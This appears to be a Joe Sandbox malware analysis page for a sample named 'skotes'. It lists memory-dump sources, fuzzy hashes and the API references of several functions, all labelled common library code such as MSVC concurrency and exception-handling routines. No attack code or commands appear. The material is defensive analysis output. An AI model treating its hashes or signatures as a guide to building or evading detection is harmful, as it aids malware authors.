Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 3673eba3e8b86f02f3aacbadac1f88fd146b69f519f27f5805e681a29d2a4d22
Instruction ID: 6c3e4c29adc0598f91c9d3aee6f156304ae1dd37a3976af7a14f25330b696cff
Opcode Fuzzy Hash: 3673eba3e8b86f02f3aacbadac1f88fd146b69f519f27f5805e681a29d2a4d22
Instruction Fuzzy Hash: DE71BC3092026AFBDF15CF94E980BBE7BB1AF55308F044098EC416B262C7728D29DB61

Function 00212832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00212876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 002128DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00212913

Part of subcall function 002107ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 0021080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00212993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 002129DB

Part of subcall function 002107C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 002107DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 002129EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00212A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00212A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00212A7E

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 77e961b7169580903b331d4bb6df865d030893cd0559d9cdbf1cd0c615b12382
Instruction ID: 1699fdba6a3c76d025674b44fa4bfec2c78e71987b1d7b917977017a0c44d3b4
Opcode Fuzzy Hash: 77e961b7169580903b331d4bb6df865d030893cd0559d9cdbf1cd0c615b12382
Instruction Fuzzy Hash: E781D231A20666CBCB18DF68E8A85EDB7F5BF68305B24402DE445E7244D730ADF9CB94

Function 002169DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00216A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00216A51
List.LIBCONCRT ref: 00216A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00216A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00216AB9
List.LIBCONCRT ref: 00216AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00216B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00216B20
List.LIBCONCRT ref: 00216B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00216B68

Part of subcall function 00215EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00215EF7
Part of subcall function 00215EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00215F09

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: 0ca6527dd160cb290d5ff24e6b767482205e0ae6f4a2ee3b2a708c28e0e254fc
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 52515171A1021AAFDB04DF54C599BEDB3F8BF58304F0540A9E915AB282DB30AE95CFD0

Function 002252A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 002253A0
type_info::operator==.LIBVCRUNTIME ref: 002253C7
___TypeMatch.LIBVCRUNTIME ref: 002254D3
IsInExceptionSpec.LIBVCRUNTIME ref: 002255AE
CallUnexpected.LIBVCRUNTIME ref: 00225650

Strings

csm, xrefs: 002253FE
csm, xrefs: 0022534D
csm, xrefs: 002252E0

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 207a72984538a467976af94c49dc14c8f886f9f1041ddcc580db86bf1419a073
Instruction ID: 38f72ad54c6287c232c8e6a9aa1167f3705441b34de734519b1eda1bb344a05b
Opcode Fuzzy Hash: 207a72984538a467976af94c49dc14c8f886f9f1041ddcc580db86bf1419a073
Instruction Fuzzy Hash: 2DC16671820A3ABFCF15DFD4E8809AEBBB9BF14315B50815AE8016B212D770DA71CF91

Function 00224840 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00224877
___except_validate_context_record.LIBVCRUNTIME ref: 0022487F
_ValidateLocalCookies.LIBCMT ref: 00224908
__IsNonwritableInCurrentImage.LIBCMT ref: 00224933
_ValidateLocalCookies.LIBCMT ref: 00224988

Strings

csm, xrefs: 0022491D
S9", xrefs: 00224925, 0022492E, 0022493F
j718, xrefs: 002248F2, 0022496F

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9"$csm$j718
API String ID: 1170836740-2046712453
Opcode ID: f12f217ad2ce8342b7f8837e2b9283e1fc131a1c11fbdb9cb0d7f33814e3e452
Instruction ID: e235eb8acd43787ccf3bf3b02138cbb25f9d2e8a5c82c478e8d5062577532b06
Opcode Fuzzy Hash: f12f217ad2ce8342b7f8837e2b9283e1fc131a1c11fbdb9cb0d7f33814e3e452
Instruction Fuzzy Hash: B141E934A30229FBCF10EFA8EC44A9E7BB4AF06314F148155F8185B3A2D7719965CF91

Function 00206E00 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 336COMMON

Download Yara Rule

APIs
